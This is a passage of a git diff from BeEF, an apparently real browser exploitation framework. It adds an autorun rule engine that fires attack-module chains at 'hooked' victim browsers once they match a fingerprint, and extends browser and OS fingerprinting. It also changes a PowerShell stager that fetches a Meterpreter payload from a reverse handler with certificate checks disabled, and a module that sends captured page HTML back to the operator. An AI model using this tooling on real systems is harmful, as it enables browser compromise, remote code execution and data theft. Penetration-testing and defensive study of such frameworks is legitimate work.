BeEF::Filters::is_valid_browserversion?( + browser_version.split(' ').last) || VERSION.include?(browser_version[0,2].gsub(/\s+/,'')) || browser_version == 'ALL' + + return [false, 'Illegal os definition'] unless OS.include?(os) + return [false, 'Illegal os_version definition'] unless + (VERSION.include?(os_version[0, 2].gsub(/\s+/, '')) || os_version == 'ALL') && BeEF::Filters::only?("a-zA-Z0-9.<=> ",os_version) + + + # check if module names, conditions and options are ok + modules.each do |cmd_mod| + mod = BeEF::Core::Models::CommandModule.first(:name => cmd_mod['name']) + if mod != nil + modk = BeEF::Module.get_key_by_database_id(mod.id) + mod_options = BeEF::Module.get_options(modk) + + opt_count = 0 + mod_options.each do |opt| + if opt['name'] == cmd_mod['options'].keys[opt_count] + opt_count += 1 + else + return [false, "The specified option (#{cmd_mod['options'].keys[opt_count] + }) for module (#{cmd_mod['name']}) does not exist"] + end + end + else + return [false, "The specified module name (#{cmd_mod['name']}) does not exist"] + end + end + + exec_order.each{ |order| return [false, 'execution_order values must be Integers'] unless order.integer?} + exec_delay.each{ |delay| return [false, 'execution_delay values must be Integers'] unless delay.integer?} + + success + rescue => e + print_error "#{e.message}" + print_debug "#{e.backtrace.join("\n")}" + return [false, 'Something went wrong.'] + end + end + end + end + end +end diff --git a/core/main/autorun_engine/rule_loader.rb b/core/main/autorun_engine/rule_loader.rb new file mode 100644 index 000000000..9084042cb --- /dev/null +++ b/core/main/autorun_engine/rule_loader.rb @@ -0,0 +1,95 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +module BeEF + module Core + module AutorunEngine + + class RuleLoader + + include Singleton + + def initialize + @config = BeEF::Core::Configuration.instance + end + + # this expects parsed JSON as input + def load(data) + begin + + name = data['name'] + author = data['author'] + browser = data['browser'] + browser_version = data['browser_version'] + os = data['os'] + os_version = data['os_version'] + modules = data['modules'] + exec_order = data['execution_order'] + exec_delay = data['execution_delay'] + chain_mode = data['chain_mode'] + + parser_result = BeEF::Core::AutorunEngine::Parser.instance.parse( + name,author,browser,browser_version,os,os_version,modules,exec_order,exec_delay,chain_mode) + + if parser_result.length == 1 && parser_result.first + print_info "[ARE] Ruleset (#{name}) parsed and stored successfully." + print_more "Target Browser: #{browser} (#{browser_version})" + print_more "Target OS: #{os} (#{os_version})" + print_more "Modules to Trigger:" + modules.each do |mod| + print_more "(*) Name: #{mod['name']}" + print_more "(*) Condition: #{mod['condition']}" + print_more "(*) Code: #{mod['code']}" + print_more "(*) Options:" + mod['options'].each do |key,value| + print_more "\t#{key}: (#{value})" + end + end + print_more "Exec order: #{exec_order}" + print_more "Exec delay: #{exec_delay}" + are_rule = BeEF::Core::AutorunEngine::Models::Rule.new( + :name => name, + :author => author, + :browser => browser, + :browser_version => browser_version, + :os => os, + :os_version => os_version, + :modules => modules.to_json, + :execution_order => exec_order, + :execution_delay => exec_delay, + :chain_mode => chain_mode) + are_rule.save + return { 'success' => true, 'rule_id' => are_rule.id} + else + print_error "[ARE] Ruleset (#{name}): ERROR. " + parser_result.last + return { 'success' => false, 'error' => parser_result.last } + end + + rescue => e + err = 'Malformed JSON ruleset.' + print_error "[ARE] Ruleset (#{name}): ERROR. #{e} #{e.backtrace}" + return { 'success' => false, 'error' => err } + end + end + + def load_file(json_rule_path) + begin + rule_file = File.open(json_rule_path, 'r:UTF-8', &:read) + self.load JSON.parse(rule_file) + rescue => e + print_error "[ARE] Failed to load ruleset from #{json_rule_path}" + end + end + + def load_directory + Dir.glob("#{$root_dir}/arerules/enabled/**/*.json") do |rule| + print_info "[ARE] Processing rule: #{rule}" + self.load_file rule + end + end + end + end + end +end diff --git a/core/main/client/are.js b/core/main/client/are.js index fc73ef137..953ed5725 100644 --- a/core/main/client/are.js +++ b/core/main/client/are.js @@ -5,43 +5,14 @@ // beef.are = { - init:function(){ - var Jools = require('jools'); - this.ruleEngine = new Jools(); + status_success: function(){ + return 1; }, - send:function(module){ - // there will probably be some other stuff here before things are finished - this.commands.push(module); + status_unknown: function(){ + return 0; }, - execute:function(inputs){ - this.rulesEngine.execute(input); - }, - cache_modules:function(modules){}, - rules:[ - { - 'name':"exec_no_input", - 'condition':function(command,browser){ - //need to figure out how to handle the inputs - return (!command['inputs'] || command['inputs'].length == 0) - }, - 'consequence':function(command,browser){} - }, - { - 'name':"module_has_sibling", - 'condition':function(command,commands){ - return false; - }, - 'consequence':function(command,commands){} - }, - { - 'name':"module_depends_on_module", - 'condition':function(command,commands){ - return false; - }, - 'consequence':function(command,commands){} - } - ], - commands:[], - results:[] + status_error: function(){ + return -1; + } }; beef.regCmp("beef.are"); diff --git a/core/main/client/browser.js b/core/main/client/browser.js index 8c286ef18..2b45ee77d 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -2296,6 +2296,7 @@ beef.browser = { var browser_plugins = beef.browser.getPlugins(); var date_stamp = new Date().toString(); var os_name = beef.os.getName(); + var os_version = beef.os.getVersion(); var default_browser = beef.os.getDefaultBrowser(); var hw_name = beef.hardware.getName(); var cpu_type = beef.hardware.cpuType(); @@ -2343,6 +2344,7 @@ beef.browser = { if (hostport) details['HostPort'] = hostport; if (browser_plugins) details['BrowserPlugins'] = browser_plugins; if (os_name) details['OsName'] = os_name; + if (os_version) details['OsVersion'] = os_version; if (default_browser) details['DefaultBrowser'] = default_browser; if (hw_name) details['Hardware'] = hw_name; if (cpu_type) details['CPU'] = cpu_type; diff --git a/core/main/client/init.js b/core/main/client/init.js index a492a4447..547988faf 100644 --- a/core/main/client/init.js +++ b/core/main/client/init.js @@ -69,13 +69,11 @@ function beef_init() { beef.net.browser_details(); beef.updater.execute_commands(); beef.logger.start(); - beef.are.init(); }else { beef.net.browser_details(); beef.updater.execute_commands(); beef.updater.check(); beef.logger.start(); - beef.are.init(); } } } diff --git a/core/main/client/net.js b/core/main/client/net.js index 49413d200..90c792d05 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -35,6 +35,7 @@ beef.net = { command: function () { this.cid = null; this.results = null; + this.status = null; this.handler = null; this.callback = null; }, @@ -84,13 +85,15 @@ beef.net = { * @param: {String} handler: the server-side handler that will be called * @param: {Integer} cid: command id * @param: {String} results: the data to send + * @param: {Integer} status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success') * @param: {Function} callback: the function to call after execution */ - queue: function (handler, cid, results, callback) { + queue: function (handler, cid, results, status, callback) { if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) { var s = new beef.net.command(); s.cid = cid; s.results = beef.net.clean(results); + s.status = status; s.callback = callback; s.handler = handler; this.cmd_queue.push(s); @@ -105,22 +108,32 @@ beef.net = { * @param: {String} handler: the server-side handler that will be called * @param: {Integer} cid: command id * @param: {String} results: the data to send + * @param: {Integer} exec_status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success') * @param: {Function} callback: the function to call after execution + * @return: {Integer} exec_status: the command module execution status (defaults to 0 - 'unknown' if status is null) */ - send: function (handler, cid, results, callback) { + send: function (handler, cid, results, exec_status, callback) { + // defaults to 'unknown' execution status if no parameter is provided, otherwise set the status + var status = 0; + if (exec_status != null && parseInt(Number(exec_status)) == exec_status){ status = exec_status} + if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) { - this.queue(handler, cid, results, callback); + this.queue(handler, cid, results, status, callback); this.flush(); } else { try { beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid + '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) + - '","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }'); + '", "status": "' + exec_status + + '", "callback": "' + callback + + '","bh":"' + beef.session.get_hook_session_id() + '" }'); } catch (e) { - this.queue(handler, cid, results, callback); + this.queue(handler, cid, results, status, callback); this.flush(); } } + + return status; }, /** diff --git a/core/main/client/os.js b/core/main/client/os.js index ccdc7fe7a..ce25654de 100644 --- a/core/main/client/os.js +++ b/core/main/client/os.js @@ -30,6 +30,7 @@ beef.os = { return result; }, + // the likelihood that we hook Windows 3.11 (which has only Win in the UA string) is zero in 2015 isWin311: function() { return (this.ua.match('(Win16)')) ? true : false; }, @@ -101,6 +102,19 @@ beef.os = { return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false; }, + isOsxYosemite: function(){ // TODO + return (this.ua.match('(OS X 10_10)|(OS X 10.10)')) ? true : false; + }, + isOsxMavericks: function(){ // TODO + return (this.ua.match('(OS X 10_9)|(OS X 10.9)')) ? true : false; + }, + isOsxSnowLeopard: function(){ // TODO + return (this.ua.match('(OS X 10_8)|(OS X 10.8)')) ? true : false; + }, + isOsxLeopard: function(){ // TODO + return (this.ua.match('(OS X 10_7)|(OS X 10.7)')) ? true : false; + }, + isWinPhone: function() { return (this.ua.match('(Windows Phone)')) ? true : false; }, @@ -142,34 +156,24 @@ beef.os = { }, isWindows: function() { - return this.isWin311() || this.isWinNT4() || this.isWinCE() || this.isWin95() || this.isWin98() || this.isWinME() || this.isWin2000() || this.isWin2000SP1() || this.isWinXP() || this.isWinServer2003() || this.isWinVista() || this.isWin7() || this.isWin8() || this.isWin81() || this.isWinPhone(); + return (this.ua.match('Windows')) ? true : false; }, getName: function() { - //Windows - if(this.isWin311()) return 'Windows 3.11'; - if(this.isWinNT4()) return 'Windows NT 4'; - if(this.isWinCE()) return 'Windows CE'; - if(this.isWin95()) return 'Windows 95'; - if(this.isWin98()) return 'Windows 98'; - if(this.isWinME()) return 'Windows Millenium'; - if(this.isWin2000()) return 'Windows 2000'; - if(this.isWin2000SP1()) return 'Windows 2000 SP1'; - if(this.isWinXP()) return 'Windows XP'; - if(this.isWinServer2003()) return 'Windows Server 2003'; - if(this.isWinVista()) return 'Windows Vista'; - if(this.isWin7()) return 'Windows 7'; - if(this.isWin8()) return 'Windows 8'; - if(this.isWin81()) return 'Windows 8.1'; + + if(this.isWindows()){ + return 'Windows'; + } + + if(this.isMacintosh()) { + return 'OSX'; + } //Nokia if(this.isNokia()) { - if (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo'; if (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS'; if (this.ua.indexOf('Symbian') != -1) return 'Symbian'; - - //return 'Nokia'; } // BlackBerry @@ -178,7 +182,7 @@ beef.os = { // Android if(this.isAndroid()) return 'Android'; - //linux + //Linux if(this.isLinux()) return 'Linux'; if(this.isSunOS()) return 'Sun OS'; @@ -188,17 +192,6 @@ beef.os = { if (this.isIpad()) return 'iOS'; //iPod if (this.isIpod()) return 'iOS'; - - // zune - //if (this.isZune()) return 'Zune'; - - //macintosh - if(this.isMacintosh()) { - if((typeof navigator.oscpu != 'undefined') && (navigator.oscpu.indexOf('Mac OS')!=-1)) - return navigator.oscpu; - - return 'Macintosh'; - } //others if(this.isQNX()) return 'QNX'; @@ -206,6 +199,36 @@ beef.os = { if(this.isWebOS()) return 'webOS'; return 'unknown'; + }, + + getVersion: function(){ + //Windows + if(this.isWindows()) { + if (this.isWin81()) return '8.1'; + if (this.isWin8()) return '8'; + if (this.isWin7()) return '7'; + if (this.isWinVista()) return 'Vista'; + if (this.isWinXP()) return 'XP'; + if (this.isWinServer2003()) return 'Server 2003'; + if (this.isWin2000SP1()) return '2000 SP1'; + if (this.isWin2000()) return '2000'; + if (this.isWinME()) return 'Millenium'; + + if (this.isWinNT4()) return 'NT 4'; + if (this.isWinCE()) return 'CE'; + if (this.isWin95()) return '95'; + if (this.isWin98()) return '98'; + } + + // OS X + if(this.isMacintosh()) { + if (this.isOsxYosemite()) return '10.10'; + if (this.isOsxMavericks()) return '10.9'; + if (this.isOsxSnowLeopard()) return '10.8'; + if (this.isOsxLeopard()) return '10.7'; + } + + // TODO add Android/iOS version detection } }; diff --git a/core/main/client/timeout.js b/core/main/client/timeout.js index 52071e612..e98de5b6c 100644 --- a/core/main/client/timeout.js +++ b/core/main/client/timeout.js @@ -14,4 +14,4 @@ Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece antisnatchor */ -setTimeout(beef_init, 1000); \ No newline at end of file +//setTimeout(beef_init, 1000); \ No newline at end of file diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb index fab4d2ea2..6e07244e5 100644 --- a/core/main/handlers/browserdetails.rb +++ b/core/main/handlers/browserdetails.rb @@ -216,7 +216,7 @@ module BeEF self.err_msg "Invalid cookies returned from the hook browser's initial connection." end - # get and store the os name + # get and store the OS name os_name = get_param(@data['results'], 'OsName') if BeEF::Filters.is_valid_osname?(os_name) BD.set(session_id, 'OsName', os_name) @@ -224,6 +224,10 @@ module BeEF self.err_msg "Invalid operating system name returned from the hook browser's initial connection." end + # get and store the OS version (without checks as it can be very different or even empty, for instance on linux/bsd) + os_version = get_param(@data['results'], 'OsVersion') + BD.set(session_id, 'OsVersion', os_version) + # get and store default browser default_browser = get_param(@data['results'], 'DefaultBrowser') BD.set(session_id, 'DefaultBrowser', default_browser) @@ -349,7 +353,7 @@ module BeEF end # log a few info of newly hooked zombie in the console - print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]" + print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, browser:#{browser_name}-#{browser_version}, os:#{os_name}-#{os_version}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]" # add localhost as network host if config.get('beef.extension.network.enable') @@ -358,27 +362,13 @@ module BeEF r.save end - # Call autorun modules - if config.get('beef.autorun.enable') - autorun = [] - BeEF::Core::Configuration.instance.get('beef.module').each { |k, v| - if v.has_key?('autorun') and v['autorun'] == true - target_status = BeEF::Module.support(k, {'browser' => browser_name, 'ver' => browser_version, 'os' => os_name}) - if target_status == BeEF::Core::Constants::CommandModule::VERIFIED_WORKING - BeEF::Module.execute(k, session_id) - autorun.push(k) - elsif target_status == BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY and config.get('beef.autorun.allow_user_notify') - BeEF::Module.execute(k, session_id) - autorun.push(k) - else - print_debug "Autorun attempted to execute unsupported module '#{k}' against Hooked browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}]" - end - end - } - if autorun.length > 0 - print_info "Autorun executed[#{autorun.join(', ')}] against Hooked browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}]" - end - end + # Autorun Rule Engine - Check if the hooked browser type/version and OS type/version match any Rule-sets + # stored in the BeEF::Core::AutorunEngine::Models::Rule database table + # If one or more Rule-sets do match, trigger the module chain specified + # + are = BeEF::Core::AutorunEngine::Engine.instance + match_rules = are.match(browser_name, browser_version, os_name, os_version) + are.trigger(match_rules, zombie.id) if match_rules.length > 0 if config.get('beef.integration.phishing_frenzy.enable') # get and store the browser plugins diff --git a/core/main/handlers/commands.rb b/core/main/handlers/commands.rb index 6680a12b1..dc8fa913f 100644 --- a/core/main/handlers/commands.rb +++ b/core/main/handlers/commands.rb @@ -42,7 +42,7 @@ module BeEF # @note get and check session id from the request beefhook = get_param(@data, 'beefhook') - (print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(beefhook) + (print_error "BeEF hook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(beefhook) result = get_param(@data, 'results') @@ -57,11 +57,14 @@ module BeEF # @note get/set details for datastore and log entry command_friendly_name = command.friendlyname (print_error "command friendly name is empty"; return) if command_friendly_name.empty? - command_results = get_param(@data, 'results') - (print_error "command results are empty"; return) if command_results.empty? + + command_status = @data['status'] + command_results = @data['results'] + (print_error "command results or status are empty"; return) if command_results.empty? + # @note save the command module results to the datastore and create a log entry command_results = {'data' => command_results} - BeEF::Core::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results) + BeEF::Core::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results, command_status) end diff --git a/core/main/handlers/hookedbrowsers.rb b/core/main/handlers/hookedbrowsers.rb index 773a26250..95408b574 100644 --- a/core/main/handlers/hookedbrowsers.rb +++ b/core/main/handlers/hookedbrowsers.rb @@ -79,6 +79,13 @@ module Handlers zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false) zombie_commands.each{|command| add_command_instructions(command, hooked_browser)} + # TODO this is not considering WebSocket channel, as data is sent from core/main/handlers/modules/command.rb if WS is enabled + are_executions = BeEF::Core::AutorunEngine::Models::Execution.all(:is_sent => false, :session => hook_session_id) + are_executions.each do |are_exec| + @body += are_exec.mod_body + are_exec.update(:is_sent => true, :exec_time => Time.new.to_i) + end + # @note We dynamically get the list of all browser hook handler using the API and register them BeEF::API::Registrar.instance.fire(BeEF::API::Server::Hook, 'pre_hook_send', hooked_browser, @body, @params, request, response) end diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index e22caa7c3..fe12a206d 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -21,7 +21,7 @@ module BeEF beef_js_path = "#{$root_dir}/core/main/client/" # @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated - ext_js_sub_files = %w(lib/jquery-1.10.2.min.js lib/jquery-migrate-1.2.1.min.js lib/evercookie.js lib/json2.js lib/jools.min.js lib/mdetect.js) + ext_js_sub_files = %w(lib/jquery-1.10.2.min.js lib/jquery-migrate-1.2.1.min.js lib/evercookie.js lib/json2.js lib/mdetect.js) # @note BeEF libraries: need Eruby evaluation and obfuscation beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js net/cors.js are.js) diff --git a/core/main/handlers/modules/command.rb b/core/main/handlers/modules/command.rb index abf0d38a9..364d69d60 100644 --- a/core/main/handlers/modules/command.rb +++ b/core/main/handlers/modules/command.rb @@ -38,7 +38,7 @@ module BeEF command_module.build_datastore(command.data) command_module.pre_send - build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty? + build_missing_beefjs_components(command_module.beefjs_components) unless command_module.beefjs_components.empty? ws = BeEF::Core::Websocket::Websocket.instance diff --git a/core/main/models/command.rb b/core/main/models/command.rb index 833bbfd43..6566d6771 100644 --- a/core/main/models/command.rb +++ b/core/main/models/command.rb @@ -23,12 +23,13 @@ module Models has n, :results + # Save results and flag that the command has been run on the hooked browser # @param [String] hook_session_id The session_id. # @param [String] command_id The command_id. # @param [String] command_friendly_name The command friendly name. # @param [String] result The result of the command module. - def self.save_result(hook_session_id, command_id, command_friendly_name, result) + def self.save_result(hook_session_id, command_id, command_friendly_name, result, status) # @note enforcing arguments types command_id = command_id.to_i @@ -37,6 +38,7 @@ module Models raise Exception::TypeError, '"command_id" needs to be an integer' if not command_id.integer? raise Exception::TypeError, '"command_friendly_name" needs to be a string' if not command_friendly_name.string? raise Exception::TypeError, '"result" needs to be a hash' if not result.hash? + raise Exception::TypeError, '"status" needs to be an integer' if not status.integer? # @note get the hooked browser structure and id from the database hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => hook_session_id) || nil @@ -51,20 +53,29 @@ module Models raise Exception::TypeError, "command is nil" if command.nil? # @note create the entry for the results - command.results.new(:hooked_browser_id => hooked_browser_id, :data => result.to_json, :date => Time.now.to_i) + command.results.new(:hooked_browser_id => hooked_browser_id, + :data => result.to_json,:status => status,:date => Time.now.to_i) command.save - # @note log that the result was returned - BeEF::Core::Logger.instance.register('Command', "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has executed instructions from command module [id:#{command_id}, name:'#{command_friendly_name}']", hooked_browser_id) + s = self.show_status(status) + log = "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has executed instructions (status: #{s}) from command module [id:#{command_id}, name:'#{command_friendly_name}']" + BeEF::Core::Logger.instance.register('Command', log, hooked_browser_id) + print_info log + end - # @note prints the event into the console - if BeEF::Settings.console? - print_info "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has executed instructions from command module [id:#{command_id}, name:'#{command_friendly_name}']" + def self.show_status(status) + case status + when -1 + result = 'ERROR' + when 1 + result = 'SUCCESS' + else + result = 'UNKNOWN' end + result end end - end end end diff --git a/core/main/models/result.rb b/core/main/models/result.rb index 5b836cdf8..e4d28f635 100644 --- a/core/main/models/result.rb +++ b/core/main/models/result.rb @@ -15,6 +15,7 @@ module Models property :id, Serial property :date, String, :length => 15, :lazy => false + property :status, Integer property :data, Text end diff --git a/core/main/rest/api.rb b/core/main/rest/api.rb index 2be8fbebf..b9c67de7e 100644 --- a/core/main/rest/api.rb +++ b/core/main/rest/api.rb @@ -43,13 +43,20 @@ module BeEF end end + module RegisterAutorunHandler + def self.mount_handler(server) + server.mount('/api/autorun', BeEF::Core::Rest::AutorunEngine.new) + end + end + BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterHooksHandler, BeEF::API::Server, 'mount_handler') BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterModulesHandler, BeEF::API::Server, 'mount_handler') BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterCategoriesHandler, BeEF::API::Server, 'mount_handler') - BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterLogsHandler, BeEF::API::Server, 'mount_handler') BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterAdminHandler, BeEF::API::Server, 'mount_handler') BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterServerHandler, BeEF::API::Server, 'mount_handler') + BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterAutorunHandler, BeEF::API::Server, 'mount_handler') + # # Check the source IP is within the permitted subnet diff --git a/core/main/rest/handlers/autorun_engine.rb b/core/main/rest/handlers/autorun_engine.rb new file mode 100644 index 000000000..9bfb6a035 --- /dev/null +++ b/core/main/rest/handlers/autorun_engine.rb @@ -0,0 +1,66 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# + +module BeEF + module Core + module Rest + class AutorunEngine < BeEF::Core::Router::Router + + before do + error 401 unless params[:token] == config.get('beef.api_token') + halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip) + headers 'Content-Type' => 'application/json; charset=UTF-8', + 'Pragma' => 'no-cache', + 'Cache-Control' => 'no-cache', + 'Expires' => '0' + end + + # Add a new ruleset. Returne the rule_id if request was successful + post '/rule/add' do + request.body.rewind + begin + data = JSON.parse request.body.read + rloader = BeEF::Core::AutorunEngine::RuleLoader.instance + rloader.load(data) + rescue => e + err = 'Malformed JSON ruleset.' + print_error "[ARE] Ruleset ERROR. #{e.message}" + { 'success' => false, 'error' => err }.to_json + end + end + + # Trigger a specified rule_id on online hooked browsers. Offline hooked browsers are ignored + post '/rule/trigger/:rule_id' do + begin + rule_id = params[:rule_id] + + online_hooks = BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 15)) + are = BeEF::Core::AutorunEngine::Engine.instance + + if online_hooks != nil + online_hooks.each do |hb| + hb_details = BeEF::Core::Models::BrowserDetails + browser_name = hb_details.get(hb.session, 'BrowserName') + browser_version = hb_details.get(hb.session, 'BrowserVersion') + os_name = hb_details.get(hb.session, 'OsName') + os_version = hb_details.get(hb.session, 'OsVersion') + + match_rules = are.match(browser_name, browser_version, os_name, os_version, rule_id) + are.trigger(match_rules, hb.id) if match_rules.length > 0 + end + else + { 'success' => false, 'error' => 'There are currently no hooked browsers online.' }.to_json + end + rescue => e + err = 'Malformed JSON ruleset.' + print_error "[ARE] Something went wrong #{e.message}" + { 'success' => false, 'error' => err }.to_json + end + end + end + end + end +end \ No newline at end of file diff --git a/core/main/server.rb b/core/main/server.rb index 164c49ae1..5b5393a5a 100644 --- a/core/main/server.rb +++ b/core/main/server.rb @@ -127,7 +127,7 @@ module BeEF @http_server.start # starts the web server rescue RuntimeError => e if e.message =~ /no acceptor/ # the port is in use - print_error "Another process is already listening on port #{@configuration.get('beef.http.port')}." + print_error "Another process is already listening on port #{@configuration.get('beef.http.port')}, or you're trying to bind BeEF on an invalid IP." print_error "Is BeEF already running? Exiting..." exit 127 else diff --git a/extensions/evasion/config.yaml b/extensions/evasion/config.yaml index 9dde32687..ed39c83b7 100644 --- a/extensions/evasion/config.yaml +++ b/extensions/evasion/config.yaml @@ -17,5 +17,5 @@ beef: Beef: "Beef" evercookie: "evercookie" BeEF: "BeEF" - chain: ["scramble", "base_64"] -# other available obfuscation techniques: ["minify", "base_64", "whitespace"] \ No newline at end of file + chain: ["scramble", "minify"] +# other available obfuscation techniques: ["minify", "base_64", "whitespace"] diff --git a/extensions/social_engineering/config.yaml b/extensions/social_engineering/config.yaml index 892a2ccb9..9575038ce 100644 --- a/extensions/social_engineering/config.yaml +++ b/extensions/social_engineering/config.yaml @@ -48,6 +48,6 @@ beef: cid10: "bottom-border.png" powershell: # the default payload being used is windows/meterpreter/reverse_https - msf_reverse_handler_host: "127.0.0.1" + msf_reverse_handler_host: "172.16.45.1" msf_reverse_handler_port: "443" powershell_handler_url: "/ps" \ No newline at end of file diff --git a/extensions/social_engineering/powershell/powershell_payload b/extensions/social_engineering/powershell/powershell_payload index ffc046231..04e127ad1 100644 --- a/extensions/social_engineering/powershell/powershell_payload +++ b/extensions/social_engineering/powershell/powershell_payload @@ -400,13 +400,39 @@ function Invoke-ps { $SSL = 's' # Accept invalid certificates - [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } + [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} } } - # Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh? - $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM" - Write-Verbose "Requesting meterpreter payload from $Request" + # Meterpreter to initiate stage 0. + $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray() + $x = "" + function sum($v){ + return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum % 0x100 -eq 92) + } + + function RandomChars{ + $f = "";1..3 | foreach-object {$f+= $chars[(Get-Random -maximum $chars.Length)]}; + return $f; + } + + function RandomArray { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}} + + function Generate{ + for ($i=0; $i -lt 64; $i++){ + $h = RandomChars;$k = $d | RandomArray; + foreach ($l in $k){ + $s = $h + $l; if (sum($s)){ + return $s} + } + return "9vXU"; + } + } + + + $GeneratedURI = Generate; + $Request = "http$($SSL)://$($Lhost):$($Lport)/$GeneratedURI" + Write-Verbose "Requesting meterpreter payload from $Request" $Uri = New-Object Uri($Request) $WebClient = New-Object System.Net.WebClient diff --git a/modules/browser/hooked_domain/alert_dialog/command.js b/modules/browser/hooked_domain/alert_dialog/command.js index 86c68b8b9..7b103692f 100644 --- a/modules/browser/hooked_domain/alert_dialog/command.js +++ b/modules/browser/hooked_domain/alert_dialog/command.js @@ -5,7 +5,6 @@ // beef.execute(function() { - alert("<%== format_multiline(@text) %>"); - - beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%== format_multiline(@text) %>"); + alert("<%= @text %>"); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%= @text %>"); }); diff --git a/modules/browser/hooked_domain/get_page_html/command.js b/modules/browser/hooked_domain/get_page_html/command.js index 384d4fb6b..2c6543405 100644 --- a/modules/browser/hooked_domain/get_page_html/command.js +++ b/modules/browser/hooked_domain/get_page_html/command.js @@ -5,8 +5,10 @@ // beef.execute(function() { - - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+beef.browser.getPageHead()+'&body='+beef.browser.getPageBody()); - + var head = beef.browser.getPageHead(); + var body = beef.browser.getPageBody(); + var mod_data = 'head=' + head + '&body=' + body; + beef.net.send("<%= @command_url %>", <%= @command_id %>, mod_data, beef.are.status_success()); + return [beef.are.status_success(), mod_data]; }); diff --git a/modules/debug/test_return_ascii_chars/command.js b/modules/debug/test_return_ascii_chars/command.js index 4f612ba9a..c417b2740 100644 --- a/modules/debug/test_return_ascii_chars/command.js +++ b/modules/debug/test_return_ascii_chars/command.js @@ -9,7 +9,8 @@ beef.execute(function() { var str = ''; for (var i=32; i<=127;i++) str += String.fromCharCode(i); - beef.net.send("<%= @command_url %>", <%= @command_id %>, str); - + beef.net.send("<%= @command_url %>", <%= @command_id %>, str, beef.are.status_success()); + //return [beef.are.status_success(), str]; + test_return_ascii_chars_mod_output = [beef.are.status_success(), str]; }); diff --git a/modules/debug/test_return_long_string/command.js b/modules/debug/test_return_long_string/command.js index e3925734a..dfea73de5 100644 --- a/modules/debug/test_return_long_string/command.js +++ b/modules/debug/test_return_long_string/command.js @@ -13,7 +13,8 @@ beef.execute(function() { for (var i = 0; i < iterations; i++) { str += repeat_value; } - beef.net.send("<%= @command_url %>", <%= @command_id %>, str); - + beef.net.send("<%= @command_url %>", <%= @command_id %>, str, beef.are.status_success()); + //return [beef.are.status_success(), str]; + test_return_long_string_mod_output = [beef.are.status_unknown(), str]; }); diff --git a/modules/host/get_internal_ip_webrtc/command.js b/modules/host/get_internal_ip_webrtc/command.js index ebeaf9293..b3f6b46d0 100755 --- a/modules/host/get_internal_ip_webrtc/command.js +++ b/modules/host/get_internal_ip_webrtc/command.js @@ -8,7 +8,7 @@ beef.execute(function() { var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConnection; - if (RTCPeerConnection) (function () { + if 